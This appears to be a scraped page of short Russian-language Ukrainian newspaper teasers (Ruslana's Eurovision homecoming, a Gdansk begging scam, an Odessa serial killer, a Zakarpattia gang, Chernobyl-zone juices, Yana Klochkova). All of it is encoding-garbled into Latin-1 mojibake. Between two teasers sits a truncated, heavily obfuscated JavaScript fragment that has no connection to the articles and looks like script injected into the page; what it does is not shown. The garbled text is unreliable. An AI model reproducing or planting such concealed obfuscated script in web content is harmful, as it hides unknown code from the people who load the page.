Íåñìîòðÿ íà òî, ÷òî ñàìîëåò èç Ñòàìáóëà ïðèëåòåë â Êèåâ â îäèííàäöàòü âå÷åðà, â çàëå îæèäàíèÿ àýðîïîðòà Áîðèñïîëü áûëî íå ïðîòîëêíóòüñÿ. Ïîä ðåâ ïîêëîííèêîâ ñ÷àñòëèâóþ ïîáåäèòåëüíèöó ñ ôëàãîì Óêðàèíû â ðóêàõ âûêàòèëè èç òàìîæåííîãî çàëà íà áîëüøîé ãðóçîâîé òåëåæêå. Êòî-òî èç æóðíàëèñòîâ, îêðóæèâøèõ ïåâèöó, âûêðèêíóë: "Òû îáåùàëà â Ñòàìáóëå, ÷òî ïîöåëóåøü óêðàèíñêóþ çåìëþ!" Òðÿõíóâ âîëîñàìè, Ðóñëàíà âûñêî÷èëà èç çàëà, ñáåæàëà ïî ñòóïåíüêàì ê êëóìáå è, çà÷åðïíóâ ëàäîíüþ çåìëþ, òîðæåñòâåííî ïðèêîñíóëàñü ê íåé ãóáàìè.
Çîëóøêîé, â îäíî÷àñüå ñòàâøåé ïðèíöåññîé, ãåðîèíþ äíÿ íå íàçîâåøü. Ê ñâîåìó òðèóìôó ëüâîâÿíêà Ðóñëàíà Ëûæè÷êî øëà òåðïåëèâî...
×åòûðå ãîäà ïðîõîäèìåö ýêñïëóàòèðóåò âðîæäåííûé äåôåêò ñâîåé äî÷åðè â öåíòðå Ãäàíüñêà. "Ãåðîþ ÷å÷åíñêîé âîéíû" è "âäîâöó" ñ áîëüíûì ðåáåíêîì ïîäàþò ùåäðóþ ìèëîñòûíþ.
Ïîëÿêè æàëåþò "áåæåíêó èç Ãðîçíîãî", ÷üå ìèëîâèäíîå ëè÷èêî èçóâå÷åíî òî ëè âðîæäåííîé ïàòîëîãèåé, òî ëè íîæîì áàíäèòà, áðîñàþò â çàìûçãàííóþ øàïî÷êó ïðèãîðøíè çëîòûõ. Ñëóæèòåëè êîñòåëà, âîçëå êîòîðîãî Îêñàíà "ðàáîòàåò" ñ óòðà äî ïîçäíåãî âå÷åðà, âèäÿò, ÷òî èçðåäêà ê ðåáåíêó ïîäúåçæàåò îòåö, êðåïêèé ìóæ÷èíà íà èíâàëèäíîé êîëÿñêå, è âûñûïàåò â ðþêçàê ïîäàÿíèå äîáðûõ êàòîëèêîâ. Îíè çíàþò - îòåö è äî÷ü êîïÿò äåíüãè íà îïåðàöèþ, êîòîðàÿ èçáàâèò Îêñàíó îò óðîäñòâà. Íî åñëè íàéòè àäðåñ, ïî êîòîðîìó îíè îáèòàþò, òî òðîãàòåëüíàÿ èñòîðèÿ ïðåäñòàíåò ñîâñåì â èíîì ñâåòå. Âîò òîëüêî äî ýòîé ïðàâäû ðåøèòåëüíî íèêîìó íåò äåëà - ó ïîëüñêèõ ïîëèöåéñêèõ...
"Ðîññèéñêèì îïëîòîì" øóòÿ íàçûâàþò â Óæãîðîäå øêîëó, ãäå ó÷àòñÿ äåòè èç áûâøèõ ñîþçíûõ ðåñïóáëèê. Çäåñü íåò "íàöèîíàëüíîãî âîïðîñà", à ðîäíûì ÿçûêîì ñ÷èòàåòñÿ ðóññêèé.
Øåñòèêëàññíèê Ìàéêë ðîäèëñÿ â Çèìáàáâå à ðóññêèé èçó÷àë ïî ñêàçêàì Ïóøêèíà. Êîãäà â ñòðàíå ñëó÷èëñÿ ïåðåâîðîò è óáèëè åãî îòöà, ìàìà, óðîæåíêà Óæãîðîäà, îòïðàâèëà äåòåé ê ðîäèòåëÿì, íàêàçàâ îòâåñòè èõ â ðîäíóþ øêîëó, êîòîðóþ çàêàí÷èâàëà ñàìà.
- Ìàéêë áûñòðî ñòàë âñåîáùèì ëþáèìöåì, ïðîñòî øêîëüíîé çâåçäîé, - ãîâîðèò äèðåêòîð Òàòüÿíà Ïåòðîâíà Òûùåíêî. - Â ïåðâûå äíè äðàçíèëè "ñíèêåðñîì", íî îí îòíåññÿ ê ýòîìó ñ þìîðîì. À òåïåðü åãî ïðîçâèùå - "Ïóøêèí". Ó Ìàéêëà óëûáêà Ïóøêèíà, à ïîòîì îí óäèâèë âñåõ çíàíèåì ïóøêèíñêîé ïîýçèè. Êîãäà íà øêîëüíîé ñöåíå ñòàâèëè "Ñêàçêó î ïîïå è åãî ðàáîòíèêå Áàëäå", Ìàéêëó äàëè êîðîííóþ ðîëü Áàëäû. Êîíêóðåíòîâ...
Êèåâñêàÿ ãðóïïà ñîòðóäíèêîâ ãåíïðîêóðàòóðû è ñîâåòà áåçîïàñíîñòè Óêðàèíû ðàñêðûëà â Äîíáàññå ïðåñòóïíóþ ãðóïïèðîâêó, êóäà âõîäèëè óãîëîâíûå àâòîðèòåòû è ðàáîòíèêè ìèëèöèè
ÑÌÅÐÒÜ ÆÓÐÍÀËÈÑÒÀ
Ñåé÷àñ, êîãäà ñèëîâûå âåäîìñòâà ðàçäàþò íàãðàäû îòëè÷èâøèìñÿ ïðè çàäåðæàíèè áàíäèòîâ ñîòðóäíèêàì, òðóäíî îòäåëàòüñÿ îò ãîðüêîé ìûñëè - ýòîò áû ýíòóçèàçì äà òðè ãîäà íàçàä! Òîãäà áû è îòâàæíûé æóðíàëèñò Èãîðü Àëåêñàíäðîâ, è ñûíîâüÿ ãåíåðàëüíîãî äèðåêòîðà ÇÀÎ "Òÿæïðîìêîìïëåêò" Âàëåðèÿ Êàðïåíêî, è ïîõèùåííûé èç ñîáñòâåííîãî äîìà âëàäåëåö êðóïíåéøåé â Åâðîïå êîëëåêöèè ðåòðîàâòîìîáèëåé áèçíåñìåí Èãîðü Æåìîâ îñòàëèñü æèâû. Âåäü èìåííî òðè ãîäà íàçàä î òåñíîé ñïàéêå êðàìàòîðñêèõ êðèìèíàëüíûõ àâòîðèòåòîâ ñ ìåñòíîé ìèëèöèåé çàÿâèëè äâà ñîòðóäíèêà ÓÁÎÏà, çà ÷òî òóò æå áûëè óâîëåíû èç îðãàíîâ è ïóáëè÷íî íàçâàíû ïðåäàòåëÿìè.
Ïîïûòêè...
Àíàòîëèé Êîíäðàòüåâ ñâîèìè æåðòâàìè âûáèðàë íå æåíùèí, ÷òî òåïåðü óæå ïðèâû÷íî, à ìóæ÷èí ïåíñèîíåðîâ, ïðîäàþùèõ êâàðòèðû. Âû÷èñëÿë îí èõ ïî îáúÿâëåíèÿì â îäåññêèõ ãàçåòàõ. Ïîä âèäîì ïîêóïàòåëÿ ïðèõîäèë â ãîñòè ê äîâåð÷èâûì ëþäÿì è... óáèâàë. Çàòåì ðàñ÷ëåíÿë òåëà è, çàòîëêàâ â õîëîäèëüíèê, ïðåñïîêîéíî ãðàáèë æèëüå.
Ýòîò äè÷àéøèé "ïî÷åðê" ïðåñòóïíèêà è ïîçâîëèë äîâîëüíî áûñòðî ïîíÿòü, ÷òî ìíîãî÷èñëåííûå óáèéñòâà ñîâåðøàë îäèí ÷åëîâåê. Ïîñëåäíåå ëåäåíÿùåå äóøó êðîâàâîå çëîäåÿíèå ïðîèçîøëî â ìàðòå. Âîéäÿ â äîâåðèå ê ïðåñòàðåëîìó õîçÿèíó êâàðòèðû, Êîíäðàòüåâ çàðóáèë åãî òîïîðîì.
Íî òóò íåîæèäàííî îòêðûëàñü âõîäíàÿ äâåðü, è â êîðèäîð âîøåë êâàðòèðàíò - 42-ëåòíèé Âëàäèìèð Ïîëÿêîâ, ðàáîòàþùèé òàêñèñòîì. Óâèäåâ îêðîâàâëåííîãî ìîðäîâîðîòà ñ òîïîðîì â ðóêàõ, Ïîëÿêîâ, íå ðàçäóìûâàÿ, âñòóïèë ñ íèì â áîé è ñêðóòèë óáèéöó. Óñëûøàâ øóì, ñîñåäè âûçâàëè íàðÿä ïàòðóëüíî-ïîñòîâîé ñëóæáû ìèëèöèè...
Ïî ñëîâàì ïðîêóðîðà Îäåññêîé îáëàñòè Ìèõàèëà Ãàâðèëþêà, ëèøü íà òåððèòîðèè...
- Íèêàêèõ èíòåðâüþ, - ñóðîâî ñêàçàë ìíå ÷óòü ñãîðáëåííûé äåäóøêà ñ ëåãêîé ïîõîäêîé ïîäðîñòêà. - Âñå ñîáûòèÿ ìåðêíóò ðÿäîì ñ òåì, ÷òî Ñîâåòñêèé Ñîþç ðàçâàëèëè!
ßðêèå êàðèå ãëàçà ÷óòü ñëåçÿòñÿ - òî ëè îò âîçðàñòà, òî ëè îò ñäåðæèâàåìûõ ýìîöèé.
- Õîðîøî, - ñîãëàøàþñü ÿ, - à ïðîñòî òàê ïîáåñåäîâàòü ìîæíî?
- Ïðîñòî òàê ìîæíî, - óñïîêàèâàåòñÿ äåäóøêà è ïî-âîåííîìó îòâå÷àåò íà âñå âîïðîñû.
- Ïî÷åìó íà ïåíñèè íå ñèäèòñÿ? Îòâå÷àþ: ïîìîãàþ âíóêó ó÷åáó â èíñòèòóòå îïëà÷èâàòü. Êàê çäîðîâüå? Íå æàëóþñü, âîçðàñòà ñâîåãî íå ÷óâñòâóþ. Êòî îáî ìíå çàáîòèòñÿ? Îòâå÷àþ - íèêòî, ýòî ÿ î äðóãèõ çàáî÷óñü. Æåíà è ñûí ìëàäøèé óìåðëè, à ó ÷åòûðåõ âíóêîâ ñâîè ïðîáëåìû. Ëåòîì ÿ íà âñþ ñåìüþ ïîìèäîðû è îãóðöû êîíñåðâèðóþ - ïî êíèãàì íàó÷èëñÿ, êîìïîòû âàðþ. Âèøåíêà, àáðèêîñ è ÿáëîíüêà âîçëå äîìà ðàñòóò. Êàê îòäûõàþ? Ñ...
Ïÿòü ëåò íàâîäèëà óæàñ íà æèòåëåé Çàêàðïàòüÿ áàíäà Ñòåïàíà Áåñïàëîãî ïî êëè÷êå Ãóääèíè. Êîììåð÷åñêèå ôèðìû, ìàãàçèíû, êèîñêè è ïðîñòî íåáåäíûå íà âèä äîìà ñòàíîâèëèñü îáúåêòîì äåðçêèõ íàïàäåíèé. Áàíäèòû äåéñòâîâàëè íàãëî. Ñðåäü áåëà äíÿ ìîãëè âûøâûðíóòü âîäèòåëÿ èç ïðèãëÿíóâøåéñÿ èíîìàðêè, çàòàùèòü íà õîäó â ñàëîí ïîíðàâèâøóþñÿ äåâóøêó. Ïðè ìàëåéøåì ñîïðîòèâëåíèè æåñòîêî èçáèâàëè.
Ìèëèöèÿ äîëãî íå ìîãëà âûéòè íà ñëåä ïðåñòóïíèêîâ, è, êàê îêàçàëîñü, íå ñëó÷àéíî. Ãëàâàðü ðàçðàáîòàë îðèãèíàëüíóþ ñèñòåìó "ðàáîòû". Íå ñ÷èòàÿ ñàìîãî Áåñïàëîãî, íà äåëî øëè êàæäûé ðàç íîâûå èñïîëíèòåëè, êîòîðûõ "áðèãàäèð" íàíèìàë ïî "òðóäîâîìó ñîãëàøåíèþ".
Ñòåïàí ñàì ïîäûñêèâàë æåðòâ, ðàçðàáàòûâàë ïëàí íàïàäåíèÿ, òðåíèðîâàë íàåìíèêîâ ñ êðèìèíàëüíûì ïðîøëûì. Èç-çà ÷àñòîé ñìåíû êîíòèíãåíòà áàíäû è ðàçíûõ ïî÷åðêîâ ïðåñòóïëåíèé ïðàâîîõðàíèòåëè íå ñðàçó ñìîãëè ñâÿçàòü ÷åðåäó èõ â îäíó öåïî÷êó. Êîãäà æå íàêîíåö âçÿëè áàíäèòîâ â êîëüöî, áëèæàéøèé ñîðàòíèê Áåñïàëîãî Àðòóð Ñóøêî â óïîð ðàññòðåëÿë äâóõ áîéöîâ ëüâîâñêîãî "Ñîêîëà". Íî äàæå ïîñëå...
Íàïðàâî ïîéäåøü - íà ïëÿæ ïîïàäåøü, íàëåâî - â æåíñêèé ìîíàñòûðü. Ñòàðèííûé, ðîìàíòè÷åñêèé ðàéîí Îäåññû (ïÿòü îñòàíîâîê îò Äåðèáàñîâñêîé) ëþáÿò òóðèñòû è îòäûõàþùèå. Êàæåòñÿ, âðåìÿ çäåñü îñòàíîâèëîñü - äðåâíèå òåíèñòûå äâîðèêè, ãîëóáÿòíè, ñòàðèêè ñ êóëå÷êàìè ñåìå÷åê, íåñïåøíî âûãóëèâàþùèå ìàëûøåé. Íî ó 79-ëåòíåé Åôðîñèíüè Ïåòðîâíû è 85-ëåòíåãî Ñåðãåÿ Èîñèôîâè÷à èíàÿ ñòàðîñòü.
Òîãî, ÷òî ñëó÷èëîñü ñ íèìè, ñåëüñêèìè òðóæåíèêàìè, èìåþùèìè íà äâîèõ ðàáî÷èé ñòàæ 100 ëåò, è âðàãó, êàê ãîâîðÿò, íå ïîæåëàåøü. Ñþäà, íà óëèöó Óñïåíñêóþ, îíè ïåðååõàëè, ïîääàâøèñü óãîâîðàì íåâåñòêè Âåðû. Ýòî åé, âòîðîé æåíå ñûíà Âèêòîðà, ïîîáåùàëè äàòü îñâîáîäèâøóþñÿ ÷åòûðåõêîìíàòíóþ êâàðòèðó ïðè óñëîâèè, ÷òî êîëè÷åñòâî ÷ëåíîâ ñåìüè áóäåò íå ìåíüøå ïÿòè. È ïðåäïðèèì÷èâàÿ Âåðà Èâàíîâíà ñòàëà óãîâàðèâàòü ðîäèòåëåé ìóæà ïðîäàòü ñâîé äîì â äåðåâíå, ÷òîáû ïîæèòü íà ñòàðîñòè ëåò â "òåïëå è êîìôîðòå".
Ïîñëå äîëãèõ êîëåáàíèé îíè óñòóïèëè - äîì ïðîäàëè, à äåíüãè ïîäåëèëè íà òðîèõ äåòåé - ñûíà è äâóõ äî÷åðåé, æèâóùèõ â äðóãîì ãîðîäå.
Ïîíà÷àëó â...
Çàêàðïàòñêèå æåíùèíû äàâíî îñâîèëè äàëüíþþ äîðîãó â ãàñòàðáàéòåðû. Îñîáåííî ïîïóëÿðíà Èòàëèÿ - òåïëî, êðàñèâî, óêðàèíîê îõîòíî íàíèìàþò â äîìðàáîòíèöû è ïëàòÿò ïî òûñÿ÷å åâðî â ìåñÿö ïðè ïîëíîì îáåñïå÷åíèè. Çà ïàðó ëåò ìîæíî íàêîïèòü íà êâàðòèðó, à åñëè ïîâåçåò - óñòðîèòü ëè÷íóþ æèçíü. Ó òåìïåðàìåíòíûõ èòàëüÿíöåâ îñîáåííî ïîïóëÿðíû áëîíäèíêè...
23-ëåòíÿÿ Ìàðüÿíà, íå ñóìåâ íàéòè õîðîøóþ ðàáîòó è ðàçî÷àðîâàâøèñü â ëþáâè, îòïðàâèëàñü èñêàòü ñ÷àñòüÿ â Ìèëàí ïðîòîðåííûì ïóòåì - ïî òóðèñòè÷åñêîé âèçå. Íî îáåùàííàÿ ôèðìîé ñòàðàÿ àêòðèñà óæå íàøëà ýêîíîìêó, è Ìàðüÿíå ïðåäëîæèëè ìåñòî íà ôåðìå. Ñíà÷àëà îíà äàæå îáðàäîâàëàñü: åé ëè, ñåëÿíêå, áîÿòüñÿ ñåëüñêîãî òðóäà: è îãîðîä, è óõîä çà ñêîòîì - äåëà ïðèâû÷íûå. Íî ó õîçÿèíà ïðèøëîñü òðóäèòüñÿ ïî 12 ÷àñîâ â ñóòêè, à äåíüãè ïëàòèëè ñëèøêîì óæ ñêðîìíûå. Ïî âîñêðåñåíüÿì Ìàðüÿíà âûáèðàëàñü â ãîðîä è âñòðå÷àëàñü â êàôå ñ ñîîòå÷åñòâåííèöàìè, òàì è ïîçíàêîìèëàñü ñ íåêîé Ëþäîé, ðàçáèòíîé óêðàèíêîé, äàâíî æèâóùåé íà ÷óæáèíå è ñâîáîäíî âëàäåþùåé...
Íà îãðîìíîì õàðüêîâñêîì ðûíêå "Áàðáàøîâêà", êóäà çà äåøåâûìè òðÿïêàìè ñúåçæàåòñÿ ïîë-Óêðàèíû, ðåàëèçàòîð Ëåíà - ãëàâíàÿ çíàìåíèòîñòü. Åùå áû, äðóãèå â 28 ëåò òîëüêî ïåðâîãî ðîæàòü ñîáèðàþòñÿ, à ó ýòîé óæå âíóê ïîÿâèëñÿ!
Íåâûñîêóþ, â êóðòî÷êå è âÿçàíîé øàïêå áàáóøêó ìîæíî ïðèíÿòü çà ïîäðîñòêà, åñëè á íå ãîðüêèå ñêëàäêè ó ðòà è íå ïî ãîäàì óñòàëîñòü â ãëàçàõ. Ýòî ñåé÷àñ îíà ñâûêëàñü ñ ôàêòîì, ÷òî åå 11-ëåòíÿÿ äî÷ü ðîäèëà, à ïîíà÷àëó ïðåáûâàëà â óíûíèè, õîäèëà, âòÿíóâ ãîëîâó â ïëå÷è. Íî è âðà÷è, è ïîäðóãè óáåäèëè, ÷òî ýòî, åñëè âäóìàòüñÿ, íå ïîçîð, à "ôîðñ-ìàæîðíîå îáñòîÿòåëüñòâî". Ê òîìó æå ãîðèñïîëêîì ïîîáåùàë âûäåëèòü ðåáåíêó íÿíüêó, ÷òîá åãî îòëè÷íèöà ìàìà ñìîãëà óñïåøíî îêîí÷èòü øåñòîé êëàññ è ñíÿòü ñåìåéñòâó æèëüå. Íåîæèäàííî ïîðàäîâàëà Ëåíó è åå Îêñàíêà: ëåãêîìûñëåííàÿ äî÷ü ïðîñòî âëþáèëàñü â "æèâóþ êóêîëêó" è óõàæèâàåò çà íåé, êàê îïûòíàÿ ìàìà...
Ïîäïîëüíûé öåõ ïî èçãîòîâëåíèþ êîíñåðâèðîâàííûõ ñîêîâ è ìàðèíîâàííûõ ãðèáîâ íàëàäèëè â îäíîì èç
Ïîäïîëüíûé öåõ ïî èçãîòîâëåíèþ êîíñåðâèðîâàííûõ ñîêîâ è ìàðèíîâàííûõ ãðèáîâ íàëàäèëè â îäíîì èç ñåë Æèòîìèðñêîé îáëàñòè øåñòü áåçðàáîòíûõ æåíùèí. Ïðîäóêöèþ ñîáèðàëè â çàáðîøåííûõ ñàäàõ ÷åðíîáûëüñêîé çîíû îòñåëåíèÿ.
Âñå "âèòàìèíû", ïî çàêëþ÷åíèþ ýêñïåðòèçû, áûëè "ðàçáàâëåíû" ðàäèîàêòèâíûìè ýëåìåíòàìè.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const...
Ê âå÷åðó ðàçáóøåâàëàñü ãðîçà, îáåçóìåâøèé âåòåð òåðçàë âî äâîðå ìîëîäóþ ÿáëîíüêó, õîëîäíûå ñòðóè äîæäÿ áèëèñü â îêîííûå ñòåêëà. - Ïîðà, Ðàþøà, - òîðæåñòâåííî ñêàçàë æåíå Âåíèàìèí Äàíèëîâè÷, - ñåãîäíÿ ê íàì ïðèäåò íåîáû÷íàÿ ãîñòüÿ.
- Íó ÷òî æ, ïîðà, òàê ïîðà, - ìóæåñòâåííî âçäîõíóëà Ðàèñà Èâàíîâíà è ìûñëåííî ïåðåêðåñòèëàñü, - ïîìðåì, òàê íà ïàðó.
Òðóíîâ âêëþ÷èë ñòàðåíüêèé òåëåâèçîð, çàìêíóòûé â öåïü-ëîâóøêó, è îòîøåë ñ æåíîé íà áåçîïàñíîå ðàññòîÿíèå. Ïðîøåë ÷àñ, äðóãîé... Ãðîçà, ñëîâíî ïîñìåÿâøèñü íàä èçîáðåòàòåëåì, óõîäèëà íà âîñòîê, íåáî ñòàëî ïðîÿñíÿòüñÿ.
- Ïîøåë ÿ ñïàòü, - ñêàçàë âèíîâàòî Âåíèàìèí Äàíèëîâè÷ è íàïðàâèëñÿ ê ðàñêëàäóøêå. È â ñëåäóþùóþ æå ñåêóíäó òåëåâèçîð ðàçëåòåëñÿ âäðåáåçãè, âûïóñòèâ â êîìíàòó ÿðêèé îãíåííûé øàð ðàçìåðîì â êðóïíóþ ñëèâó. Øàðèê ïðîøèë ðàñêëàäóøêó, ïîäïàëèë ìàòðàñ è âçîðâàëñÿ, íàêàëèâ êîìíàòó, êàê äóõîâêó.
- Óðà!- ëèêîâàë Òðóíîâ,...
 òî âðåìÿ êàê âåñü Äîíåöê îáñóæäàë ïðåäñòîÿùóþ - ÿêîáû - ñâàäüáó ßíû Êëî÷êîâîé ñ èçâåñòíûì óêðàèíñêèì áîêñåðîì Âëàäèìèðîì Êëè÷êî, çîëîòàÿ ðûáêà Óêðàèíû îáúÿâèëà î òîì, ÷òî â åå ïëàíàõ íåò ìåñòà çàìóæåñòâó. Ñïîðòñìåíêà çàÿâèëà, ÷òî õî÷åò ïîáåäèòü íå òîëüêî íà Îëèìïèéñêèõ èãðàõ â Àôèíàõ, íî íàìåðåíà ó÷àñòâîâàòü è â ñëåäóþùåé Îëèìïèàäå-2008.
- ßíà, à êàê æå ñîîáùåíèå êèåâñêîé ãàçåòû î òîì, ÷òî òû îòâåòèëà âçàèìíîñòüþ îäíîìó èç ñâîèõ ïîêëîííèêîâ?
- Ýòî îáû÷íàÿ ïèàð-àêöèÿ, îðãàíèçîâàííàÿ â êàíóí ïîäïèñêè. Ðàçâå ìîæíî âñòðåòèòü ëþáîâü çàî÷íî? Ýòî êàê çàî÷íûé îáåä èëè ÷àé âïðèãëÿäêó. À ãäå èìïóëüñû, âçäðîãíóâøåå ñåðäöå, êîòîðîå äîëæíî ïîäñêàçàòü - îñòàíîâèñü, ýòî îí! Áîëüøîãî ÷óâñòâà õî÷åòñÿ. Íî êàê ñîâìåñòèòü åãî ñ áîëüøèì ñïîðòîì, êîòîðûé çàíèìàåò âñå âðåìÿ? Ìíå êàæåòñÿ, âñòðå÷åé äâóõ ñåðäåö óïðàâëÿåò òîëüêî ñóäüáà, à åå íåëüçÿ íè òîðîïèòü, íè óïðåêàòü. Âñå äîëæíî ñëó÷èòüñÿ, êàê ó ìîèõ ðîäèòåëåé. Îíè âñòðåòèëèñü â Õàðüêîâå íà ÷åìïèîíàòå Óêðàèíû ïî ëåãêîé àòëåòèêå, ãäå ìàìà...
